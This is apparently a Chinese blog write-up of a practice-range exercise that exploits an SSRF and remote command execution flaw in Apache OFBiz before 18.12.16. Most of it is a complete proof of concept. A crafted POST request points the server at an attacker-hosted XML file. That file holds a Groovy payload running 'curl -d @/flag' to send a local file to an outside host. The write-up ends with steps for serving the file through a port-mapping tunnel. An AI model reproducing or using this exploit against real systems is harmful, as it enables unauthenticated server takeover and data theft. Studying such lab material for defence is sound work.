一、靶场介绍
Apache OFBiz是一个开源企业资源规划(ERP)系统。它提供了一套企业应用程序,集成并自动化企业的许多业务流程。在Apache OFBiz 18.12.16之前的版本存在一处SSRF与远程命令执行漏洞,未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。

二、POC
通过ssrf方式进行入侵,服务器对外发起请求,访问XML文件,同时XML文件中包含命令执行语句,以此来加载RCE操作。
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 127.0.0.1:13049
Content-Length: 61
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: https://192.168.195.130:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.195.130:8443/webtools/control/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
statsDecoratorLocation=http://192.168.1.1/rce.xml
rxe.xml
我采用的是curl请求带上本地文件方式获取服务器文件
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'curl -d @/flag http://dnslog.com'.execute();}"/>
</actions>
</section>
</screen>
</screens>
三、搭建xml 服务器
1)免费映射端口
1)本地映射服务,可以fofa上搜一下FRP,只在测试时候使用,用完及时关闭。
2) cpolar 安装比较简单,这个是官网链接,邮箱注册就行 cpolar
映射本地端口,免费的只能用24小时
使用python起一个web服务
python -m http.server 8080

使用 cpolar 映射内网端口



1353

被折叠的 条评论
为什么被折叠?



